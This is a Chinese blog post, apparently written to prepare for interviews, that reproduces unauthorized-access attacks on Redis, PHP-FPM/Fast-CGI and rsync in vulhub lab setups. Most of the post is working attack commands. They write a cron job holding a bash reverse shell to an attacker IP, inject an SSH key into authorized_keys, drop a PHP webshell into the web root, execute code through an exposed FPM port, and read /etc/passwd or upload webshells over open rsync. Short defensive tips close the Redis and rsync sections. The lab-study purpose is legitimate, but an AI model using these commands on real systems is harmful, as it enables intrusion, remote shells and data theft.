0%

记录几个未授权访问复现过程

闲白

最近面试总是遇到问redis方面的漏洞,单独只写一个感觉太空了,索性直接整理部分已知的未授权访问漏洞

正文

redis

漏洞原理

redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value的非关系型数据库

复现

漏洞环境自行百度安装

漏洞影响版本:Redis 2.x,3.x,4.x,5.x

通过写corntab的方式进行getshell

  • 连接redis数据库

    1
    redis-cli.exe -h 192.168.136.128
  • redis 执行命令

    1
    2
    3
    4
    5
    6
    7
    set x "\n* * * * * bash -i >& /dev/tcp/192.168.136.131/2333 0>&1\n"

    config set dir /var/spool/cron

    config set dbfilename root

    save

这里经过查资料说:在ubuntu中测试计划时间写入成功但不执行,上面的写入主要针对centos系统

自己在靶机上测试,不能直接通过创建一个文件来创建对应账户定时任务

Ubuntu中/var/spool/cron/crontab目录

/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划

写ssh-keygen公钥,然后使用私钥连接

  • 利用条件

    • Redis服务使用ROOT账号启动
    • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
  • 利用步骤

    • 在本地生成一对密钥

      1
      ssh-keygen -t rsa
    • redis执行命令

      1
      2
      3
      4
      5
      6
      7
      config set dir /root/.ssh/

      config set dbfilename authorized_keys

      set x "\n\n\n **id_rsa.pub** \n\n\n"

      save
    • 本地执行

      1
      2
      ssh -i /root/.ssh/id_rsa [email protected]
      ssh [email protected]

向web目录写shell

在Redis 权限不高的时候,并且服务器开着Web应用

1
2
3
4
5
6
7
config set dir /var/www/html/

config set dbfilename shell.php

set x "<?php phpinfo();?>"

save

防御

  • 限制登录IP
  • 添加密码
  • 修改默认端口

Fast-CGI &PHP-FPM

漏洞原理

Fast-CGI是一种通信协议,与HTTP协议一样,都是进行数据交换的通道

PHP-FPM 其实是一种Fast-CGI协议解析器,负责接收把像Nginx等服务器中间件按照Fast-CGI规则打包好TCP传递的包

这里PHP-FPM服务会默认监听9000端口,当9000端口暴露到公网上时,就可以伪造Fast-CGI通信协议内容,进行FPM通信,从而执行PHP代码

具体原理和分析可以看https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

复现

漏洞环境:https://github.com/vulhub/vulhub/tree/master/fpm

脚本:https://github.com/SherlockLee592/Some-script/blob/master/fpm.py

payload:

1
python fast-cgi.py 192.168.136.128 /usr/local/lib/php/PEAR.php -c '\<\?php echo `id`;exit;?>'

rsync

漏洞原理

rsync是linux系统下数据备份工具,rsync协议默认监听873端口

如果目标开了rsync服务,并且没有配置ACL或者访问密码,我们将可以读写服务器文件,最后达到GetShell目的

复现

漏洞环境:https://github.com/vulhub/vulhub/tree/master/rsync/common

访问/src查看备份文件

1
2
3
rsync rsync://192.168.136.128:873/src/

rsync 192.168.136.128::src

任意文件下载

1
2
rsync -av rsync://192.168.136.128:873/src/etc/passwd ./
rsync -av 192.168.136.128::src/etc/passwd ./

任意文件上传

1
2
3
rsync -avz webshell.php rsync://192.168.136.128:873/src/var/www/html/

rsync -avz webshell.php 192.168.136.128::src/var/www/html/

既然可以上传文件,那就可以通过写定时文件反弹shell

防御

  • 配置认证用户名或者密码
  • host allow/deny 来控制接入源IP
  • 必要时候可以配置只读
  • uid和gid,使用足够但最小权限的账号进行
  • 非必要应该仅限制配置路径下可访问